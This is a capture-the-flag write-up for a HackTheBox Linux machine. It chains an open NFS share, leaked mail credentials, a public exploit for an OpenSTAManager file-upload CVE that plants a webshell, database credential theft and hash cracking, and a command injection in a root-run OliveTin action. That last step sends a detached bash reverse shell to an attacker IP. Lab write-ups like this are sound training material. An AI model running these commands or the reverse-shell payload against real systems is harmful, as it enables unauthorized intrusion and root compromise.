← Back to all writeups

HTB: Enigma — From Onboarding Doc to Root via Misconfigured Automation

HACKTHEBOX EASY LINUX NFS CREDENTIAL REUSE CVE-2026-38751 OLIVETIN RCE
Author: th3_m4d_h4ck3r  |  Framework: Scarif Operations  |  Season 11

> OVERVIEW

Enigma is an Easy-rated Linux box that reads almost like a corporate security audit checklist of what not to do: an unauthenticated NFS share leaking onboarding documents, password reuse across a mail server and a CRM admin panel, a very recent (and very real) CVE in OpenSTAManager for authenticated RCE, and — for the cherry on top — a root-owned automation tool sitting wide open on localhost with a shell-injectable "backup database" button.

None of the individual steps were hard. What made this box interesting was how each weak link fed directly into the next one, which is exactly the kind of chain you find on real internal networks during an engagement.

> RECON

Standard full TCP scan first:

sudo nmap -sV -sC -p- --min-rate 5000 <target>

Notable services:

PortService
22OpenSSH 9.6p1 (Ubuntu)
80nginx, redirects to enigma.htb
110/995POP3 / POP3S (Dovecot)
111/2049rpcbind / NFS
143/993IMAP / IMAPS (Dovecot)

Two things stood out immediately: an exposed NFS share and a full mail stack (POP3/IMAP, both plaintext and SSL variants). That combination usually means there are real mailboxes to break into, and NFS is the classic Easy-box way to get the first foothold of information to do it.

> NFS SHARE — THE FIRST LEAK

showmount -e <target>
mkdir -p /tmp/enigma-nfs
sudo mount -t nfs <target>:/srv/nfs/onboarding /tmp/enigma-nfs -o nolock
ls -la /tmp/enigma-nfs

The share was exported with no authentication and contained a single file: New_Employee_Access.pdf. Extracting the text:

pdftotext New_Employee_Access.pdf -
IT onboarding documents are a goldmine on Easy boxes — they're written for humans, not security, so they tend to contain real usernames, real passwords, and real internal URLs in plain text.

The PDF handed over a working webmail credential set for an employee named Kevin, including a URL for an internal webmail portal (mail001.enigma.htb).

> MAILBOX DIVING

Rather than mess with the webmail UI, it's faster to just talk to Dovecot directly:

openssl s_client -connect <target>:995 -quiet
USER kevin
PASS <redacted>
LIST
RETR 1

Kevin's inbox had a single onboarding email from a colleague, Sarah, which didn't contain credentials directly but confirmed a second employee account existed. Trying the same technique against Sarah's mailbox (same default password pattern the company had clearly issued) turned up the real prize: an internal email from IT provisioning her access to an OpenSTAManager CRM instance — complete with the shared admin account credentials, since her dedicated account hadn't been created yet.

Password reuse across services (webmail defaults, shared admin creds "for now") was the single biggest recurring theme on this box. It showed up at least three separate times across the whole chain.

> FOOTHOLD — OPENSTAMANAGER AUTHENTICATED RCE

Logging into support_001.enigma.htb with the leaked admin credentials dropped straight into a full OpenSTAManager dashboard. The CHANGELOG.md confirmed a very recent build (v2.9.8, December 2025), which ruled out most of the older, already-patched CVEs.

A little research turned up CVE-2026-38751: an authenticated arbitrary file upload vulnerability in OpenSTAManager's module update mechanism, allowing a valid admin session to upload a ZIP disguised as a module containing a PHP webshell.

A public Rust-based PoC automates the whole chain — login, enabling the updates feature, crafting the malicious ZIP with a valid module descriptor and an embedded shell, uploading it, and verifying execution:

./openstamanager-rce-exploit \
  --url http://support_001.enigma.htb/ \
  -U admin -P '<redacted>' \
  --lhost <attacker_ip> --lport 4444

This landed a shell as www-data, with the webshell dropped at /modules/shell/shell.php.

> PIVOTING TO A REAL USER

From www-data, the OpenSTAManager config file was readable and contained plaintext database credentials:

cat /var/www/html/openstamanager/config.inc.php

Those DB credentials didn't work directly against any system account via su, but they were valid for the MySQL instance itself. Dumping the application's own zz_users table (its internal user/auth table) turned up a bcrypt password hash for a user called haris — notably the only account on the box with an actual login shell (everyone else was /usr/sbin/nologin, mail/web-only accounts).

mysql -u <db_user> -p'<db_pass>' -h localhost openstamanager \
  -e "SELECT * FROM zz_users\G"

The hash cracked almost instantly against rockyou with John the Ripper — a nice thematic touch, given the DB password itself had been a variation on "friends":

john --wordlist=/usr/share/wordlists/rockyou.txt haris_hash.txt

Password recovered, straight su into haris, and grabbed the user flag.

haris@enigma:~$ cat user.txt
[user flag captured ✅]

> PRIVESC — OLIVETIN RUNNING AS ROOT

No sudo rights for haris, no juicy SUID binaries, nothing unusual in cron. The real lead came from simply looking at the current working directory after landing the shell — it was sitting inside /var/www/olivetin/.

OliveTin is a self-hosted web UI that runs predefined shell commands/scripts as buttons behind a browser. Checking the running process and systemd unit confirmed it:

ps aux | grep -i olivetin
# root  1539  ...  /usr/local/bin/OliveTin

Running as root, with no User= directive in its systemd unit, and bound only to 127.0.0.1:1337. Reading its config file (/etc/OliveTin/config.yaml) revealed a whole set of predefined actions — most were harmless demo entries (ping, disk space, dmesg) straight out of OliveTin's default example config. One, however, stood out:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - name: db_user
      type: ascii_identifier
    - name: db_pass
      type: password
    - name: db_name
      type: ascii_identifier
db_user and db_name are typed as ascii_identifier, which restricts input to safe characters. db_pass is typed as password — no such restriction. Since the shell template drops that value straight inside a single-quoted string with no escaping, a value like '; <anything>; ' breaks out of the quoting and injects arbitrary shell commands.

The config also had authRequireGuestsToLogin: false and default permissions of exec: true — meaning no login was even required to trigger actions against this instance.

OliveTin's actual API turned out to be a Connect-RPC service reachable over plain HTTP/JSON at /api/StartAction (found by grepping the compiled frontend bundle for the real route, since the binary's internal protobuf service name was not the actual HTTP path). Triggering the backup action with a malicious db_pass:

curl -s -X POST http://127.0.0.1:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -H "Connect-Protocol-Version: 1" \
  -d '{
    "bindingId": "backup_database",
    "arguments": [
      {"name": "db_user", "value": "x"},
      {"name": "db_pass", "value": "'"'"'; setsid nohup bash -c \"bash -i >& /dev/tcp/<attacker_ip>/4446 0>&1\" </dev/null >/dev/null 2>&1 & disown; '"'"'"},
      {"name": "db_name", "value": "x"}
    ]
  }'
First attempt used a plain inline reverse shell payload and it connected — but died within a second, because it was a direct child of the action's process tree and got reaped when OliveTin considered the action "complete." Wrapping the payload in setsid nohup ... & disown detaches it into its own session so it survives past the parent action's lifecycle. Worth remembering for any action-runner / task-automation RCE in the future.

Listener catches the callback as root:

nc -lvnp 4446
...
root@enigma:/# id
uid=0(root) gid=0(root)
root@enigma:~# cat /root/root.txt
[root flag captured ✅]

> ATTACK CHAIN SUMMARY

  1. Unauthenticated NFS share exposes an IT onboarding PDF with real webmail credentials
  2. POP3/IMAP mailbox access reveals a second employee and, via an internal email thread, shared admin credentials for an internal CRM (OpenSTAManager)
  3. Authenticated arbitrary file upload (CVE-2026-38751) in OpenSTAManager's module update system → webshell → www-data
  4. Readable app config leaks plaintext DB credentials
  5. DB access dumps the app's own user table, yielding a bcrypt hash for the box's only real shell account
  6. Hash cracks instantly against rockyou → su to that user → user flag
  7. OliveTin automation tool found running as root, bound to localhost, with no auth required
  8. Unsanitized password-typed argument in a shell template allows command injection via the "Backup Database" action
  9. Detached reverse shell payload survives the action's process lifecycle → root

> LESSONS LEARNED


Scarif Operations  |  th3m4dh4ck3r.com  |  CPTS prep, Season 11